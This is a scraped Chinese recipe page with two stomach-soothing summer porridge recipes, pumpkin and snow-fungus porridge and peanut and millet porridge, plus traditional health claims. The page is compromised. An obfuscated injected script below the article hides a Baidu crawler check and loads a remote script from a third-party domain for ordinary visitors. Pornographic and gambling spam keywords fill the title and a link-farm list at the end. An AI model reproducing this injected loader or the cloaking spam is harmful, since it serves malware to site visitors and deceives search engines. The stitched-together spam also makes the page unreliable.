久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 飲食 > 烹飪技巧 > 正文

夏季調節腸胃的食譜-花生小米粥的做法

2015-06-30 08:08:33  來源:360常識網   熱度:
導語:小米味甘咸,有清熱解渴、健胃除濕、和胃安眠等功效,內熱者及脾胃虛弱者更適合食用它。有的人胃口不好,吃了小米后能開胃又能養胃,具有健

小米味甘咸,有清熱解渴、健胃除濕、和胃安眠等功效,內熱者及脾胃虛弱者更適合食用它。有的人胃口不好,吃了小米后能開胃又能養胃,具有健胃消食、防止反胃、嘔吐的功效。

夏季調節腸胃的食譜-花生小米粥的做法
夏季調節腸胃的食譜-花生小米粥的做法

夏季調節腸胃的食譜

氣溫一高,胃腸道疾病的發病率會增高,而且夏季人們飲食和生活習慣的不規律也最容易傷害腸胃。夏季腸胃不好應該怎么調理呢?下面給大家推薦兩款粥,多吃可以有效幫助調節脾胃。

銀耳南瓜粥

食材:南瓜100g,干銀耳1朵,糯米100g,冰糖、葡萄干各適量。

做法:

1、南瓜去皮去瓤,切小塊備用;

2、銀耳,用溫水泡開,洗凈,撕成小朵;

3、糯米用水洗凈,葡萄干也用水泡一下,洗凈備用;

4、糯米先放入鍋中,加水,用大火燒開,轉小火煮20分鐘后,加入南瓜、葡萄干一起煮;

5、至將熟時,加入銀耳和冰糖,再小火煲到軟糯即可。

功效:南瓜體內含有一種特殊的果膠,它能有效地保護你的胃粘膜,避免你的胃受創。而銀耳又能健脾開胃,二者搭配,堪稱一絕。同時,糯米性味甘、溫,入脾、胃、肺經,有補中益氣,固表止汗之功,適用于脾胃虛弱,久瀉,便溏食少,表虛自汗等。

花生小米粥

食材:小米50克,花生仁50克,紅小豆30克,桂花糖、冰糖各適量。

做法:

1、將小米、花生仁、紅小豆放入清水中浸泡4小時,然后淘洗干凈,待用;

2、鍋中注入適量清水,加入花生仁、紅小豆煮沸后,改用小火煮30分鐘;

3、放入小米,煮至米爛,花生仁、紅小豆酥軟,再加入冰糖、桂花糖即可。

功效:小米味甘咸,有清熱解渴、健胃除濕、和胃安眠等功效,內熱者及脾胃虛弱者更適合食用它。有的人胃口不好,吃了小米后能開胃又能養胃,具有健胃消食、防止反胃、嘔吐的功效。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 久久机热| 国产欧美日韩综合 | 超碰中文字幕 | 米奇狠狠狠狠8877 | 黄色av资源| 国产精品久久二区 | 日韩一区二区高清 | 欧美日本在线播放 | 999久久久免费精品国产 | 性做久久久久久久免费看 | 成人高清 | 天天夜夜操 | 精品一区二区三区在线观看视频 | 亚洲精品123区 | 中文字幕免费在线 | 99re视频| 99精品久久久久 | 色激情五月 | 日韩免费观看 | 日本成人久久 | 欧美亚洲日本国产 | 视频1区2区| 国产精品成人在线观看 | 美女脱了内裤张开腿让密密麻麻 | 国产精品2019 | 欧美国产日韩一区 | 国产精品美女视频一区二区三区 | 不卡视频一区二区 | 99综合在线| 91麻豆精品国产91久久久久久久久 | 亚洲免费av片 | 午夜精品久久久久久久久久久久 | 国产黄色免费网站 | 欧美精品久久久久久久久老牛影院 | 亚洲欧美日韩另类精品一区二区三区 | 欧美一区不卡 | 久久婷婷视频 | 精品国产一区二区三区小蝌蚪 | 国产精品一区二区三区免费 | 狠狠撸在线视频 | 最新av在线网址 |